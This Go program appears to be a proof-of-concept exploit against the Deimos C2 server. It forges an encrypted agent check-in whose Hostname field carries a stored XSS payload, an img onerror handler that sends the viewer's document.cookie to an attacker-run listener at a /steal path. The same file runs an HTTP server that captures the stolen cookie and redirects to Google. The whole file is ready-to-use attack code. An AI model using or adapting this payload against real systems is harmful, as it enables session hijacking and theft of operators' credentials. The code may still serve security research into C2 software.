// Deimos C2 XSS
// go install github.com/DeimosC2/DeimosC2/lib/crypto@latest

package main

import (
	"bytes"
	"crypto/rand"
	"crypto/tls"
	"encoding/json"
	"fmt"
	"io/ioutil"
	"net/http"
	"strings"

	"github.com/DeimosC2/DeimosC2/lib/crypto"
)

// All this information will be in the binary.
// Change to whatever is in the binary
var stringPubKey string = `-----BEGIN RSA PUBLIC KEY-----
A KEY
-----END RSA PUBLIC KEY-----
`
var listenerHost string = "" // The listener host addr
var listenerPort string = "" // The listener port
var firstTimeUri string = "" // The listener will have a first time check in URI. Find it and place it here.

var localHost string = "" // Your local IP
var localPort string = "" // Your local port

// NO NEED TO CHANGE
var pubKey []byte
var key string = ""

type initialize struct {
	Key         string   //Agent Key
	OS          string   //Current OS
	OSType      string   //Type of Operating System and/or Distro
	OSVers      string   //Version of OS
	AV          []string //AntiVirus Running
	Hostname    string   //Current Machine Name
	Username    string   //Current Username
	LocalIP     string   //Local IP
	AgentPath   string   //Agent Path
	Shellz      []string //Available System Shells
	Pid         int      //Get PID of agent
	IsAdmin     bool     //Is admin user
	IsElevated  bool     //Is elevated on Windows
	ListenerKey string   //Listener that the agent is attached too
}

func main() {
	http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
	pubKey = []byte(stringPubKey)

	// Call first time
	msg := firstTime(key)
	fmt.Println("Sending Message....")
	key = string(sendMessage(firstTimeUri, msg))
	fmt.Println("Recieved key ", key)

	// Start http server
	http.HandleFunc("/", stealHandler)

	fmt.Println("Server listening on :8080...")
	if err := http.ListenAndServe(":"+localPort, nil); err != nil {
		fmt.Printf("Server failed to start: %v", err)
	}
}

func stealHandler(w http.ResponseWriter, r *http.Request) {
	if strings.HasPrefix(r.URL.Path, "/steal") {
		uriRest := r.URL.Path[len("/steal"):]
		fmt.Printf("Requested URI: %s\n", uriRest)

		// Got the cookie so just redirect to google
		http.Redirect(w, r, "https://google.com", http.StatusFound)
		return
	}

	http.NotFound(w, r)
}

func firstTime(key string) []byte {
	systemInfo := initialize{"astring",
		"astring",
		"astring",
		"astring",
		[]string{"astring"},
		"hostname <img src=\"invalid-image.jpg\" style=\"display:none;\" onerror=\"document.location = 'http://" + localHost + ":" + localPort + "/steal/' + document.cookie\" />",
		"astring",
		"localip",
		"astring",
		[]string{"astring"},
		1,
		false,
		false,
		""}

	msg, err := json.Marshal(systemInfo)
	if err != nil {
		fmt.Println("Error Marshaling struct")
	}
	fmt.Println(string(msg))
	return msg
}

func sendMessage(uri string, data []byte) []byte {
	// Most of this comes from DeimosC2 agent code
	var aesKey []byte
	var fullMessage []byte
	pub := crypto.BytesToPublicKey(pubKey)
	aesKey = make([]byte, 32)
	_, _ = rand.Read(aesKey)
	key = "000000000000000000000000000000000000"
	named := []byte(key)
	combined := append(named, aesKey...)
	encPub := crypto.EncryptWithPublicKey(combined, pub)
	encMsg := crypto.Encrypt(data, aesKey)
	final := append(encPub, encMsg...)
	fullMessage = final
	r, err := http.Post(("https://" + listenerHost + ":" + listenerPort + uri), "application/json", bytes.NewBuffer(fullMessage))

	if err != nil {
		fmt.Println("Error In http Post call ", err)
	}
	defer r.Body.Close()
	if r.StatusCode == http.StatusOK {
		bodyBytes, err := ioutil.ReadAll(r.Body)
		if err != nil {
			fmt.Printf("Error in HTTP POST call: %v\n", err)
			return nil
		}
		decMsg := crypto.Decrypt(bodyBytes, aesKey)

		return decMsg
	}
	return nil
}
